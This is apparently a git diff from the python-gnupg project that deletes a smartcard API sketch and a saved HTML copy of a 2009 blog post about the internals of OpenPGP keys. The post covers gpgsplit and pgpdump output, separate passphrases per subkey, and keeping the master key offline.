'/tmp/pip-tWScRd-record/install-record.txt' - -Successfully installed sphinxcontrib-fulltoc Sphinx docutils Pygments Jinja2 markupsafe - -Cleaning up... - - Removing temporary dir /home/isis/.virtualenvs/python-gnupg/build... - diff --git a/docs/smartcard-idea.txt b/docs/smartcard-idea.txt deleted file mode 100644 index 4d8d880..0000000 --- a/docs/smartcard-idea.txt +++ /dev/null @@ -1,10 +0,0 @@ ->>> import gnupg ->>> gpg = gnupg.GPG() ->>> gpg.sc = gnupg.SmartCard() ## this could be done in gnupg.GPG.__init__() too ->>> gpg.sc.detected() -True ->>> gpg.sc.serialno() -1234567890abcdef ->>> gpg.sc.learn() -<some card info data gets put into gpg.sc attributes> ->>> gpg.sc. diff --git a/docs/the-internals-of-a-gpgpgp-key b/docs/the-internals-of-a-gpgpgp-key deleted file mode 100644 index 86ab6af..0000000 --- a/docs/the-internals-of-a-gpgpgp-key +++ /dev/null @@ -1,631 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"> - -<head profile="http://gmpg.org/xfn/11"> -<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - -<title>Long-term Memory » Blog Archive » The internals of an OpenPGP key</title> - -<link rel="stylesheet" href="http://blog.dest-unreach.be/wp-content/themes/evanescence/style.css" type="text/css" media="screen" /> -<link rel="stylesheet" href="http://blog.dest-unreach.be/wp-content/themes/evanescence/print.css" type="text/css" media="print" /> -<link rel="alternate" type="application/rss+xml" title="Long-term Memory RSS Feed" href="http://blog.dest-unreach.be/feed" /> -<link rel="pingback" href="http://blog.dest-unreach.be/xmlrpc.php" /> - -<link rel="alternate" type="application/rss+xml" title="Long-term Memory » The internals of an OpenPGP key Comments Feed" href="http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key/feed" /> -<link rel='stylesheet' id='openid-css' href='http://blog.dest-unreach.be/wp-content/plugins/openid/f/openid.css?ver=519' type='text/css' media='all' /> -<script type='text/javascript' src='http://blog.dest-unreach.be/wp-includes/js/jquery/jquery.js?ver=1.10.2'></script> -<script type='text/javascript' src='http://blog.dest-unreach.be/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script> -<script type='text/javascript' src='http://blog.dest-unreach.be/wp-content/plugins/openid/f/openid.js?ver=519'></script> -<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://blog.dest-unreach.be/xmlrpc.php?rsd" /> -<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://blog.dest-unreach.be/wp-includes/wlwmanifest.xml" /> -<link rel='prev' title='Setup delay on wireless data networks' href='http://blog.dest-unreach.be/2009/04/01/setup-delay-on-wireless-data-networks' /> -<link rel='next' title='Turning webpage updates into RSS feeds' href='http://blog.dest-unreach.be/2009/04/14/turning-webpage-updates-into-rss-feeds' /> -<meta name="generator" content="WordPress 3.6.1" /> -<link rel='canonical' href='http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key' /> -<link rel='shortlink' href='http://blog.dest-unreach.be/?p=999' /> -<script type="text/javascript" src="http://blog.dest-unreach.be/wp-content/plugins/flv-embed/swfobject.js"></script> -<meta http-equiv="X-XRDS-Location" content="http://blog.dest-unreach.be/?xrds" /> -<meta http-equiv="X-Yadis-Location" content="http://blog.dest-unreach.be/?xrds" /> -<style type="text/css">.broken_link, a.broken_link {
- text-decoration: line-through;
-}</style><style type="text/css">.removed_link, a.removed_link {
- text-decoration: line-through;
-}</style></head> - -<body> -<div id="page"> - -<div id="header"> -<div><div> - <div class="header-title"> - <h1><a href="http://blog.dest-unreach.be" title="Long-term Memory: A collection of note-to-self's">Long-term Memory</a></h1> - <p>A collection of note-to-self's</p> - </div> - <!-- Search box (If you prefer having search form as a sidebar widget, remove this block) --> - <div class="search"> - <form method="get" id="searchform" action="http://blog.dest-unreach.be/"> -<input type="text" size="12" name="s" id="s" value="search..." onblur="if(this.value=='') this.value='search...';" onfocus="if(this.value=='search...') this.value='';"/> -</form> - </div> - <!-- Search ends here--> -</div></div> -</div> -<div id="wrapper"> - - <div id="content"> - - - <div class="navigation"> - <div class="alignleft">« <a href="http://blog.dest-unreach.be/2009/04/01/setup-delay-on-wireless-data-networks" rel="prev">Setup delay on wireless data networks</a></div> - <div class="alignright"><a href="http://blog.dest-unreach.be/2009/04/14/turning-webpage-updates-into-rss-feeds" rel="next">Turning webpage updates into RSS feeds</a> »</div> - </div> - - <div class="post" id="post-999"> - <div class="post-title"><div> - <h2><a href="http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key" rel="bookmark" title="Permanent Link to The internals of an OpenPGP key">The internals of an OpenPGP key</a></h2> - </div></div> - <div class="post-entry"> - <p>When I was updating my GPG/OpenPGP key, I did some research on the internals of the keys. There appear to be very nice tools to explore the internals of a key. You can also manipulate this key in different aspects: use multiple passwords on a single key, remove part of a secret key for enhanced security; you can even move subkeys between master-keys.</p> -<p><span id="more-999"></span>Mandatory note: Before you try any of this on your own key, it would be wise to backup everything.</p> -<p>Another note: All output below is from a temporary key, don’t use the keyid for anything useful.</p> -<h3>The parts of a key</h3> -<p>As <a href="http://www.gnupg.org/gph/en/manual.html#AEN196">everyone</a> can tell you, a GPG-key consists of 2 parts: a public and a private part. While this is true conceptually, it’s not true in practice: there are a lot of parameters that are in both parts. The <a href="http://www.gnupg.org/">gpgsplit</a> and <a href="http://www.pgpdump.net/">pgpdump</a> utilities can show the actual content of a key:</p> -<table border="1"> -<tbody> -<tr> -<td valign="top"> -<pre>$ gpg --export > key.pub
-$ gpgsplit -v -p key.pub. key.pub
-gpgsplit: writing `key.pub.000001-006.public_key'
-gpgsplit: writing `key.pub.000002-013.user_id'
-gpgsplit: writing `key.pub.000003-002.sig'
-gpgsplit: writing `key.pub.000004-014.public_subkey'
-gpgsplit: writing `key.pub.000005-002.sig'</pre> -</td> -<td valign="top"> -<pre>$ gpg --export-secret-keys > key.sec
-$ gpgsplit -v -p key.sec. key.sec
-gpgsplit: writing `key.sec.000001-005.secret_key'
-gpgsplit: writing `key.sec.000002-013.user_id'
-gpgsplit: writing `key.sec.000003-002.sig'
-gpgsplit: writing `key.sec.000004-007.secret_subkey'
-gpgsplit: writing `key.sec.000005-002.sig'</pre> -</td> -</tr> -</tbody> -</table> -<p>GPGsplit splits up the key into its components:</p> -<ul> -<li>000001 : The master DSA key used for signing. Either the public or the secret variant</li> -<li>000002 : The user_id. This packets contains the name, email and comment. This component is identical in the public and private key</li> -<li>000003 : A signature that binds this identity to the master DSA key</li> -<li>000004 : The ElGamal key used for en/decryption. Either the public or the secret variant</li> -<li>000005 : A signature that binds this encryption key to the master DSA key</li> -</ul> -<p>Combining multiple parts together is actually even easier: just cat them together!</p> -<p>We can dig even deeper with pgpdump. It shows the actual content of one (or more) parts. I tabulated the output to make it more easily comparable.</p> -<table border="1"> -<tbody> -<tr> -<td valign="top"> -<pre>$ pgpdump key.pub</pre> -</td> -<td valign="top"> -<pre>$ pgpdump key.sec</pre> -</td> -</tr> -<tr> -<td valign="top"> -<pre>Old: Public Key Packet(tag 6)(418 bytes)
- Ver 4 - new
- Public key creation time - Mon Apr 13 11:19:26 CEST 2009
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- DSA p(1024 bits) - ...
- DSA q(160 bits) - ...
- DSA g(1024 bits) - ...
- DSA y(1023 bits) - ...</pre> -</td> -<td valign="top"> -<pre>Old: Secret Key Packet(tag 5)(481 bytes)
- Ver 4 - new
- Public key creation time - Mon Apr 13 11:19:26 CEST 2009
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- DSA p(1024 bits) - ...
- DSA q(160 bits) - ...
- DSA g(1024 bits) - ...
- DSA y(1023 bits) - ...
- Sym alg - CAST5(sym 3)
- Iterated and salted string-to-key(s2k 3):
- Hash alg - SHA1(hash 2)
- Salt - 4f 6d 16 29 91 67 59 c6
- Count - 65536(coded count 96)
- IV - cd 71 8e c5 b8 d1 88 de
- Encrypted DSA x
- Encrypted SHA1 hash</pre> -</td> -</tr> -<tr> -<td valign="top"> -<pre>Old: User ID Packet(tag 13)(31 bytes)
- User ID - ______ <______@______.__></pre> -</td> -<td valign="top"> -<pre>Old: User ID Packet(tag 13)(31 bytes)
- User ID - ______ <______@______.__></pre> -</td> -</tr> -<tr> -<td valign="top"> -<pre>Old: Signature Packet(tag 2)(96 bytes)
- Ver 4 - new
- Sig type - Positive certification of a User ID and Public Key packet(0x13).
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- Hash alg - SHA1(hash 2)
- Hashed Sub: signature creation time(sub 2)(4 bytes)
- Time - Mon Apr 13 11:19:26 CEST 2009
- Hashed Sub: key flags(sub 27)(1 bytes)
- Flag - This key may be used to certify other keys
- Flag - This key may be used to sign data
- Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
- Sym alg - AES with 256-bit key(sym 9)
- Sym alg - AES with 192-bit key(sym 8<!-- smily bypass -->)
- Sym alg - AES with 128-bit key(sym 7)
- Sym alg - CAST5(sym 3)
- Sym alg - Triple-DES(sym 2)
- Hashed Sub: preferred hash algorithms(sub 21)(3 bytes)
- Hash alg - SHA1(hash 2)
- Hash alg - SHA256(hash 8<!-- smily bypass -->)
- Hash alg - RIPEMD160(hash 3)
- Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
- Comp alg - ZLIB <RFC1950>(comp 2)
- Comp alg - BZip2(comp 3)
- Comp alg - ZIP <RFC1951>(comp 1)
- Hashed Sub: features(sub 30)(1 bytes)
- Flag - Modification detection (packets 18 and 19)
- Hashed Sub: key server preferences(sub 23)(1 bytes)
- Flag - No-modify
- Sub: issuer key ID(sub 16)(8 bytes)
- Key ID - 0xF8FF38F1AE14BF43
- Hash left 2 bytes - ac 14
- DSA r(160 bits) - ...
- DSA s(159 bits) - ...
- -> hash(160 bits)</pre> -</td> -<td valign="top"> -<pre>Old: Signature Packet(tag 2)(96 bytes)
- Ver 4 - new
- Sig type - Positive certification of a User ID and Public Key packet(0x13).
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- Hash alg - SHA1(hash 2)
- Hashed Sub: signature creation time(sub 2)(4 bytes)
- Time - Mon Apr 13 11:19:26 CEST 2009
- Hashed Sub: key flags(sub 27)(1 bytes)
- Flag - This key may be used to certify other keys
- Flag - This key may be used to sign data
- Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
- Sym alg - AES with 256-bit key(sym 9)
- Sym alg - AES with 192-bit key(sym 8<!-- smily bypass -->)
- Sym alg - AES with 128-bit key(sym 7)
- Sym alg - CAST5(sym 3)
- Sym alg - Triple-DES(sym 2)
- Hashed Sub: preferred hash algorithms(sub 21)(3 bytes)
- Hash alg - SHA1(hash 2)
- Hash alg - SHA256(hash 8<!-- smily bypass -->)
- Hash alg - RIPEMD160(hash 3)
- Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
- Comp alg - ZLIB <RFC1950>(comp 2)
- Comp alg - BZip2(comp 3)
- Comp alg - ZIP <RFC1951>(comp 1)
- Hashed Sub: features(sub 30)(1 bytes)
- Flag - Modification detection (packets 18 and 19)
- Hashed Sub: key server preferences(sub 23)(1 bytes)
- Flag - No-modify
- Sub: issuer key ID(sub 16)(8 bytes)
- Key ID - 0xF8FF38F1AE14BF43
- Hash left 2 bytes - ac 14
- DSA r(160 bits) - ...
- DSA s(159 bits) - ...
- -> hash(160 bits)</pre> -</td> -</tr> -<tr> -<td valign="top"> -<pre>Old: Public Subkey Packet(tag 14)(525 bytes)
- Ver 4 - new
- Public key creation time - Mon Apr 13 11:19:26 CEST 2009
- Pub alg - ElGamal Encrypt-Only(pub 16)
- ElGamal p(2048 bits) - ...
- ElGamal g(3 bits) - ...
- ElGamal y(2047 bits) - ...</pre> -</td> -<td valign="top"> -<pre>Old: Secret Subkey Packet(tag 7)(611 bytes)
- Ver 4 - new
- Public key creation time - Mon Apr 13 11:19:26 CEST 2009
- Pub alg - ElGamal Encrypt-Only(pub 16)
- ElGamal p(2048 bits) - ...
- ElGamal g(3 bits) - ...
- ElGamal y(2047 bits) - ...
- Sym alg - CAST5(sym 3)
- Iterated and salted string-to-key(s2k 3):
- Hash alg - SHA1(hash 2)
- Salt - 4f 6d 16 29 91 67 59 c6
- Count - 65536(coded count 96)
- IV - 8c 06 ec cd 38 eb 70 20
- Encrypted ElGamal x
- Encrypted SHA1 hash</pre> -</td> -</tr> -<tr> -<td valign="top"> -<pre>Old: Signature Packet(tag 2)(73 bytes)
- Ver 4 - new
- Sig type - Subkey Binding Signature(0x18).
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- Hash alg - SHA1(hash 2)
- Hashed Sub: signature creation time(sub 2)(4 bytes)
- Time - Mon Apr 13 11:19:26 CEST 2009
- Hashed Sub: key flags(sub 27)(1 bytes)
- Flag - This key may be used to encrypt communications
- Flag - This key may be used to encrypt storage
- Sub: issuer key ID(sub 16)(8 bytes)
- Key ID - 0xF8FF38F1AE14BF43
- Hash left 2 bytes - 2e a7
- DSA r(159 bits) - ...
- DSA s(160 bits) - ...
- -> hash(160 bits)</pre> -</td> -<td valign="top"> -<pre>Old: Signature Packet(tag 2)(73 bytes)
- Ver 4 - new
- Sig type - Subkey Binding Signature(0x18).
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- Hash alg - SHA1(hash 2)
- Hashed Sub: signature creation time(sub 2)(4 bytes)
- Time - Mon Apr 13 11:19:26 CEST 2009
- Hashed Sub: key flags(sub 27)(1 bytes)
- Flag - This key may be used to encrypt communications
- Flag - This key may be used to encrypt storage
- Sub: issuer key ID(sub 16)(8 bytes)
- Key ID - 0xF8FF38F1AE14BF43
- Hash left 2 bytes - 2e a7
- DSA r(158 bits) - ...
- DSA s(159 bits) - ...
- -> hash(160 bits)</pre> -</td> -</tr> -</tbody> -</table> -<p>There are several things to discover within this output:</p> -<ul> -<li>The secret part of the master DSA packet contains all the information of the public key, plus some extra fields. It is thus possible to convert a secret key into a public key. This is exactly what “gpgsplit –secret-to-public” does.</li> -<li>The public fields of the master DSA key (p, q, g and y) are plain-text; the secret field (x) is encrypted using a CAST5 encryption and a password (specified when creating the keypair)</li> -<li>The same is true for the ElGamal key: p, g and y are public and plain text; x is secret and encrypted.</li> -<li>Note that the secret parts of the DSA-key and the ElGamal key are seperately encrypted. I’ll explore this further in the following section</li> -<li>The signature that binds the user_id to the master DSA key also contains the users preferences: which encryption and hashing algorithms are supported and in what order are they prefered.</li> -</ul> -<h3>Passwords on the secret keys</h3> -<p>As noted above, the two secret keys (signing and encryption) are encrypted seperately. This opens up some nice opportunities for extra security. There is no requirement that the passphrase for both keys are the same! This is originally documented <a href="http://atom.smasher.org/gpg/gpg-passwords.txt">here</a> (<a href="http://blog.dest-unreach.be/wp-content/uploads/2009/04/pgp-multiple-passwords.txt">local mirror</a>).</p> -<p>The principle behind this is actually fairly easy:</p> -<ul> -<li>Change the passphrase to <em>passphrase1</em> using the “gpg –edit-key” command</li> -<li>Export the secret key: “gpg –export-secret-key > key.sec.pass1″</li> -<li>Change the passphrase to <em>passphrase2</em> using the “gpg –edit-key” command</li> -<li>Export the secret key: “gpg –export-secret-key > key.sec.pass2″</li> -<li>Split both keys into their parts, cat together the relevant parts. You can choose between pass1 and pass2, but you need every part, in order! Only the “secret_key” and “secret_subkey” parts will differ; the other parts should be identical.</li> -</ul> -<blockquote> -<pre>$ gpgsplit -p key.sec.pass1. -v key.sec.pass1
-gpgsplit: writing `key.sec.pass1.000001-005.secret_key'
-gpgsplit: writing `key.sec.pass1.000002-013.user_id'
-gpgsplit: writing `key.sec.pass1.000003-002.sig'
-gpgsplit: writing `key.sec.pass1.000004-007.secret_subkey'
-gpgsplit: writing `key.sec.pass1.000005-002.sig'
-$ gpgsplit -p key.sec.pass2. -v key.sec.pass2
-gpgsplit: writing `key.sec.pass2.000001-005.secret_key'
-gpgsplit: writing `key.sec.pass2.000002-013.user_id'
-gpgsplit: writing `key.sec.pass2.000003-002.sig'
-gpgsplit: writing `key.sec.pass2.000004-007.secret_subkey'
-gpgsplit: writing `key.sec.pass2.000005-002.sig'
-$
-$ cat key.sec.pass1.000001-005.secret_key \
- key.sec.pass1.000002-013.user_id \
- key.sec.pass1.000003-002.sig \
- key.sec.pass2.000004-007.secret_subkey \
- key.sec.pass1.000005-002.sig \
- > key.sec.bothpass</pre> -</blockquote> -<ul> -<li>Delete your secret key from the GPG keyring: “gpg –delete-secret-key keyid”</li> -<li>Import the multi-password key: “gpg –import key.sec.bothpass”</li> -<li>Optional but highly recommended: Test the new setup</li> -</ul> -<blockquote> -<pre>$ date | gpg --clearsign # should work with passphrase1
-$ date | gpg --encrypt --armour --recipient keyid | gpg --decrypt # should work with passphrase 2</pre> -</blockquote> -<h3>Multiple subkeys</h3> -<p>A GPG/PGP key actually has three purposes:</p> -<ul> -<li>Sign/verify other keys</li> -<li>Sign/verify messages</li> -<li>Encrypt/decrypt messages</li> -</ul> -<p>By default, GPG creates 2 keys: one for encrypting (by default ElGamal), one for signing (by default DSA). It does not differentiate between both signing purposes.</p> -<p>An important thing to note is that the userID is bound to the master DSA-key. This means that you cannot change your master DSA-key without loosing all your signatures on your userID(s). However, you are free to change your subkeys as often as you like. This is exactly the reason why I seperated the two signing-purposes into two different keys: The master DSA-key is still used to sign other keys, but I use a DSA-subkey to sign my messages. This way, I can change ElGamal and DSA-key every year without loosing all my signatures. This also has a security advantage: I don’t have to keep my master DSA secret key on my computer and can store it safely offline. The way to get this working is documented <span class="removed_link" title="http://belajar.internetsehat.org/pustaka/library-sw-hw/linux-1/gnupg/docs/Using%20multiple%20subkeys%20in%20GPG.htm">here</span> (<a href="http://blog.dest-unreach.be/wp-content/uploads/2009/04/pgp-subkeys.html">local mirror</a>).</p> -<p>Basically it boils down to this: use “gpg –edit-key” to add a DSA subkey. GPG will sign messages with this subkey by default.</p> -<p>To get a bit extra security, you can remove the master DSA secret key from your computer. Make sure you have a backup: you will need this secret key to sign other keys and to renew your subkeys. Since a subkey cannot exist without its parent, you need some tricks to get this working:</p> -<blockquote> -<pre>$ gpg --export-secret-subkeys n > key.subsec</pre> -</blockquote> -<p>This exports only the subkeys and places them inside a dummy master key. Note the difference from above:</p> -<blockquote> -<pre>$ pgpdump key.subsec
-Old: Secret Key Packet(tag 5)(426 bytes)
- Ver 4 - new
- Public key creation time - Mon Apr 13 11:19:26 CEST 2009
- Pub alg - DSA Digital Signature Algorithm(pub 17)
- DSA p(1024 bits) - ...
- DSA q(160 bits) - ...
- DSA g(1024 bits) - ...
- DSA y(1023 bits) - ...
- Sym alg - CAST5(sym 3)
- GnuPG string-to-key(s2k 101)
- Encrypted DSA x
- Encrypted SHA1 hash
-<...></pre> -</blockquote> -<p>To get this version into your keyring you need to delete your secret key and import the crippeled one:</p> -<blockquote> -<pre>$ gpg --list-secret-key
-/tmp/gnupg/secring.gpg
------------------------
-sec 1024D/AE14BF43 2009-04-13
-uid ______ <______@______.__>
-ssb 2048g/56B47206 2009-04-13
-
-$ gpg --delete-secret-key keyid
-$ gpg --import key.subsec
-$ gpg --list-secret-key
-/tmp/gnupg/secring.gpg
------------------------
-sec# 1024D/AE14BF43 2009-04-13
-uid ______ <______@______.__>
-ssb 2048g/56B47206 2009-04-13
-ssb 1024D/56FB4157 2009-04-13</pre> -</blockquote> -<p>The “sec#” output indicates that the key material is not present.</p> -<p>Note that you can combine this trick with the multiple-passwords trick mentioned above. I personally have a password for my master DSA key, and another password for my current DSA and ElGamal key.</p> -<h3>Migrating keys</h3> -<p>You can also migrate subkeys from one master key to another. This is not as simple as the multiple-passwords trick, since the signatures that bind the subkey to the master key need to be changed as well. You can even change a master DSA key into a DSA subkey! <a href="http://atom.smasher.org/gpg/gpg-migrate.txt">This page</a> (<a href="http://blog.dest-unreach.be/wp-content/uploads/2009/04/pgp-migrate-keys.txt">local mirror</a>) goes into the gory details.</p> - </div> - - <p class="post-meta"> - This entry was posted by Niobos on 2009-04-13 at 14:03 under <a href="http://blog.dest-unreach.be/category/networking-security" title="View all posts in Networking & Security" rel="category tag">Networking & Security</a>. Tagged <a href="http://blog.dest-unreach.be/tag/gpg" rel="tag">gpg</a>, <a href="http://blog.dest-unreach.be/tag/openpgp" rel="tag">openpgp</a>. - You can <a href="#respond">leave a response</a>, or <a href="http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key/trackback" rel="trackback">trackback</a> from your own site. Follow any responses to this entry through the <a href='http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key/feed'>RSS 2.0</a> feed. - - - </p> - </div> - -<!-- You can start editing here. --> -<div id="comments"> - <h3>One Comment</h3> - - <ol class="commentlist"> - - - <li class="alt" id="comment-162982"> - <div style="margin:0;padding:0;"> - <h4><cite><a href='https://blog.erroneousthoughts.org/2013/02/gnupg-subkeys-for-the-not-so-dummies/' rel='external nofollow' class='url'>» GnuPG subkeys for (the not so) dummies</a></cite> says:</h4> - <p>[...] <a href="http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key" rel="nofollow">http://blog.dest-unreach.be/2009/04/13/the-internals-of-a-gpgpgp-key</a> [...]</p> - <small class="commentmetadata"><a href="#comment-162982" title="">2013-07-16, 11:30</a></small> - </div> - </li> - - - - </ol> - - - -<h3 id="respond">Leave a Reply</h3> - - -<form action="http://blog.dest-unreach.be/wp-comments-post.php" method="post" id="commentform"> - - -<p><input type="text" name="author" id="author" value="" size="22" tabindex="1" /> -<label for="author"><small>Name (required)</small></label></p> - -<p><input type="text" name="email" id="email" value="" size="22" tabindex="2" /> -<label for="email"><small>E-Mail (will not be published) (required)</small></label></p> - -<p><input type="text" name="url" id="url" value="" size="22" tabindex="3" /> -<label for="url"><small>Website</small></label></p> - - -<!--<p><small><strong>XHTML:</strong> You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> </small></p>--> - -<p><textarea name="comment" id="comment" rows="10" cols="" tabindex="4"></textarea></p> - -<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" /> -<input type="hidden" name="comment_post_ID" value="999" /> -</p> -<p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="0ddf9f5013" /></p> <span id="openid_comment"> - <label> - <input type="checkbox" id="login_with_openid" name="login_with_openid" checked="checked" /> - Authenticate this comment using <span class="openid_link">OpenID</span>. </label> - </span> - <script type="text/javascript">jQuery(function(){ add_openid_to_comment_form('http://blog.dest-unreach.be/index.php', '4897e20c96') })</script> -<!-- BEGIN: subscribe to comments reloaded --><p><label for='subscribe-reloaded'><input style='width:30px' type='checkbox' name='subscribe-reloaded' id='subscribe-reloaded' value='yes' /> Notify me of followup comments via e-mail. You can also <a href='http://blog.dest-unreach.be/comment-subscriptions?srp=999&sra=s'>subscribe</a> without commenting.</label></p><!-- END: subscribe to comments reloaded --> -</form> - - -</div> - - - </div> - - <div id="sidebar"> - <div> - <ul> - <li id="meta-2" class="widget widget_meta"><h2 class="widgettitle">Meta</h2> - <ul> - <li><a href="https://blog.dest-unreach.be/wp-login.php">Log in</a></li> - <li><a href="http://blog.dest-unreach.be/feed" title="Syndicate this site using RSS 2.0">Entries <abbr title="Really Simple Syndication">RSS</abbr></a></li> - <li><a href="http://blog.dest-unreach.be/comments/feed" title="The latest comments to all posts in RSS">Comments <abbr title="Really Simple Syndication">RSS</abbr></a></li> - <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a></li> </ul> -</li> -<li id="pages-2" class="widget widget_pages"><h2 class="widgettitle">Pages</h2> - <ul> - <li class="page_item page-item-519"><a href="http://blog.dest-unreach.be/media-library">Media Library</a></li> - </ul> - </li> -<li id="categories-179535971" class="widget widget_categories"><h2 class="widgettitle">Categories</h2> - <ul> - <li class="cat-item cat-item-88"><a href="http://blog.dest-unreach.be/category/multimedia" title="View all posts filed under Multimedia">Multimedia</a> (4) -</li> - <li class="cat-item cat-item-61"><a href="http://blog.dest-unreach.be/category/networking-security" title="View all posts filed under Networking & Security">Networking & Security</a> (66) -</li> - <li class="cat-item cat-item-4"><a href="http://blog.dest-unreach.be/category/rcheli" title="View all posts filed under RCheli">RCheli</a> (75) -</li> - <li class="cat-item cat-item-101"><a href="http://blog.dest-unreach.be/category/renovation" title="View all posts filed under Renovation">Renovation</a> (1) -</li> - <li class="cat-item cat-item-170"><a href="http://blog.dest-unreach.be/category/storage" title="View all posts filed under storage">storage</a> (2) -</li> - <li class="cat-item cat-item-184"><a href="http://blog.dest-unreach.be/category/sysadmin" title="View all posts filed under sysadmin">sysadmin</a> (2) -</li> - <li class="cat-item cat-item-1"><a href="http://blog.dest-unreach.be/category/uncategorized" title="View all posts filed under Uncategorized">Uncategorized</a> (42) -</li> - </ul> -</li> -<li id="better-tag-cloud" class="widget widget_nktagcloud"><h2 class="widgettitle">Tags</h2> -<ul class='wp-tag-cloud'> - <li><a href='http://blog.dest-unreach.be/tag/adjustment' class='tag-link-35 nktagcloud-10' title='12 topics' rel="tag" style='font-size: 10.69pt;'>adjustment</a></li> - <li><a href='http://blog.dest-unreach.be/tag/apple' class='tag-link-28 nktagcloud-8' title='4 topics' rel="tag" style='font-size: 8.54pt;'>Apple</a></li> - <li><a href='http://blog.dest-unreach.be/tag/calculator' class='tag-link-102 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>calculator</a></li> - <li><a href='http://blog.dest-unreach.be/tag/catalyst' class='tag-link-22 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>Catalyst</a></li> - <li><a href='http://blog.dest-unreach.be/tag/checkup' class='tag-link-7 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>checkup</a></li> - <li><a href='http://blog.dest-unreach.be/tag/cisco' class='tag-link-14 nktagcloud-10' title='13 topics' rel="tag" style='font-size: 10.96pt;'>Cisco</a></li> - <li><a href='http://blog.dest-unreach.be/tag/crash' class='tag-link-87 nktagcloud-8' title='4 topics' rel="tag" style='font-size: 8.54pt;'>crash</a></li> - <li><a href='http://blog.dest-unreach.be/tag/crypto' class='tag-link-66 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>crypto</a></li> - <li><a href='http://blog.dest-unreach.be/tag/dd-wrt' class='tag-link-136 nktagcloud-9' title='8 topics' rel="tag" style='font-size: 9.62pt;'>dd-wrt</a></li> - <li><a href='http://blog.dest-unreach.be/tag/dns' class='tag-link-82 nktagcloud-9' title='8 topics' rel="tag" style='font-size: 9.62pt;'>DNS</a></li> - <li><a href='http://blog.dest-unreach.be/tag/dnssec' class='tag-link-112 nktagcloud-8' title='5 topics' rel="tag" style='font-size: 8.81pt;'>dnssec</a></li> - <li><a href='http://blog.dest-unreach.be/tag/electronics' class='tag-link-39 nktagcloud-8' title='5 topics' rel="tag" style='font-size: 8.81pt;'>electronics</a></li> - <li><a href='http://blog.dest-unreach.be/tag/ethernet' class='tag-link-83 nktagcloud-9' title='9 topics' rel="tag" style='font-size: 9.88pt;'>Ethernet</a></li> - <li><a href='http://blog.dest-unreach.be/tag/firewall' class='tag-link-80 nktagcloud-8' title='5 topics' rel="tag" style='font-size: 8.81pt;'>firewall</a></li> - <li><a href='http://blog.dest-unreach.be/tag/flycamone2' class='tag-link-40 nktagcloud-8' title='4 topics' rel="tag" style='font-size: 8.54pt;'>flycamone2</a></li> - <li><a href='http://blog.dest-unreach.be/tag/futaba' class='tag-link-15 nktagcloud-8' title='4 topics' rel="tag" style='font-size: 8.54pt;'>Futaba</a></li> - <li><a href='http://blog.dest-unreach.be/tag/gsm' class='tag-link-74 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>GSM</a></li> - <li><a href='http://blog.dest-unreach.be/tag/iphone' class='tag-link-95 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>iPhone</a></li> - <li><a href='http://blog.dest-unreach.be/tag/ipsec' class='tag-link-41 nktagcloud-8' title='5 topics' rel="tag" style='font-size: 8.81pt;'>IPsec</a></li> - <li><a href='http://blog.dest-unreach.be/tag/ipv6' class='tag-link-69 nktagcloud-9' title='7 topics' rel="tag" style='font-size: 9.35pt;'>IPv6</a></li> - <li><a href='http://blog.dest-unreach.be/tag/links' class='tag-link-63 nktagcloud-11' title='14 topics' rel="tag" style='font-size: 11.23pt;'>links</a></li> - <li><a href='http://blog.dest-unreach.be/tag/linux' class='tag-link-59 nktagcloud-14' title='26 topics' rel="tag" style='font-size: 14.46pt;'>linux</a></li> - <li><a href='http://blog.dest-unreach.be/tag/logbook' class='tag-link-26 nktagcloud-22' title='54 topics' rel="tag" style='font-size: 22pt;'>logbook</a></li> - <li><a href='http://blog.dest-unreach.be/tag/macosx' class='tag-link-72 nktagcloud-14' title='25 topics' rel="tag" style='font-size: 14.19pt;'>MacOSX</a></li> - <li><a href='http://blog.dest-unreach.be/tag/maintenance' class='tag-link-44 nktagcloud-10' title='11 topics' rel="tag" style='font-size: 10.42pt;'>maintenance</a></li> - <li><a href='http://blog.dest-unreach.be/tag/minititan' class='tag-link-53 nktagcloud-11' title='15 topics' rel="tag" style='font-size: 11.5pt;'>miniTitan</a></li> - <li><a href='http://blog.dest-unreach.be/tag/nat' class='tag-link-43 nktagcloud-8' title='5 topics' rel="tag" style='font-size: 8.81pt;'>NAT</a></li> - <li><a href='http://blog.dest-unreach.be/tag/perl' class='tag-link-45 nktagcloud-9' title='8 topics' rel="tag" style='font-size: 9.62pt;'>Perl</a></li> - <li><a 